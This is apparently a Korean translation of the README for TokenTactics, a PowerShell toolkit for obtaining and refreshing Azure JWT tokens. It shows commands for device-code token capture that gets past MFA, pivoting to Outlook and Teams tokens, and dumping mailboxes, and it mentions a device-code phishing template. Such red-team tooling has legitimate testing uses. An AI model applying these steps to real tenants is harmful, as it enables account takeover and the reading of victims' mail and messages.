
Azure JWT 토큰 조작 도구 세트
Azure JSON Web Token ("JWT") 조작 도구 세트
Azure 액세스 토큰을 사용하면 장치 코드로 로그인한 사용자로 특정 엔드포인트에 인증할 수 있습니다. 사용자가 다단계 인증을 사용했더라도 가능합니다. 사용자의 액세스 토큰을 획득하면 Outlook, SharePoint, OneDrive, MSTeams 등과 같은 특정 앱에 액세스할 수 있습니다.
예를 들어, Graph 또는 MSGraph 토큰이 있으면 Azure에 연결하여 사용자, 그룹 등을 덤프할 수 있습니다. 그런 다음 조건부 액세스 정책에 따라 Azure Core Management 토큰으로 전환하여 AzureHound를 실행할 수 있습니다. 그런 다음 Outlook 토큰으로 전환하여 이메일을 읽거나 보내거나 MS Teams 토큰으로 전환하여 메시지를 읽거나 보낼 수 있습니다!
Azure 토큰 유형에 대한 자세한 내용: Microsoft ID 플랫폼 액세스 토큰
리소스 폴더에는 엔드포인트에 대한 몇 가지 예제 요청이 있습니다. 또한 장치 코드 피싱을 위한 예제 피싱 템플릿도 있습니다.
이 토큰을 AAD Internals와 함께 사용할 수도 있습니다. 이 훌륭한 도구를 확인해 보시기를 강력히 권장합니다.
Import-Module .\TokenTactics.psd1
Get-Help Get-AzureToken
Invoke-RefreshToSubstrateToken
Get-AzureToken -Client MSGraph
사용자가 로그인하면 JWT가 표시되고 $response 변수에 저장됩니다. 액세스 토큰을 확인하려면 PowerShell 창에서 $response.access_token을 사용하여 토큰을 표시합니다. $response.refresh_token을 사용하여 새로 고침 토큰도 표시할 수 있습니다. 힌트: 새 액세스 토큰으로 계속 새로 고침하려면 새로 고침 토큰이 필요합니다! 기본적으로 Get-AzureToken 결과는 TokenLog.log 파일에 기록됩니다.
Get-AzureToken -Client DODMSGraph
Invoke-RefreshToOutlookToken -domain myclient.org -refreshToken 0.A
$OutlookToken.access_token
Connect-AzureAD -AadAccessToken $response.access_token -AccountId [email protected]
PRT를 획득한 후 roadrecon으로 인증하여 access_token과 refresh_token을 얻습니다. TokenTactics로 새로 고침할 때는 ClientID 1b730954-1685-4b74-9bfd-dac224a7b894를 사용하십시오.
Invoke-RefreshToMSGraphToken -domain myclient.org -ClientId 1b730954-1685-4b74-9bfd-dac224a7b894 -refreshToken 0.A
Invoke-ClearToken -Token All
Get-Command -Module TokenTactics
CommandType Name Version Source
----------- ---- ------- ------
Function Invoke-ClearToken 0.0.2 TokenTactics
Function Invoke-DumpOWAMailboxViaMSGraphApi 0.0.2 TokenTactics
Function Invoke-ForgeUserAgent 0.0.2 TokenTactics
Function Get-AzureToken 0.0.2 TokenTactics
Function Get-TenantID 0.0.2 TokenTactics
Function Invoke-OpenOWAMailboxInBrowser 0.0.2 TokenTactics
Function Invoke-ParseJWTtoken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureCoreManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToDODMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMAMToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSManageToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSTeamsToken 0.0.2 TokenTactics
Function Invoke-RefreshToO365SuiteUXToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeAppsToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToOutlookToken 0.0.2 TokenTactics
Function Invoke-RefreshToSubstrateToken 0.0.2 TokenTactics
Function Invoke-RefreshToYammerToken 0.0.2 TokenTactics
TokenTactic's 방법은 Dr Nestori Syynimaa (https://o365blog.com/) 의 훌륭한 연구에 크게 영향을 받았습니다.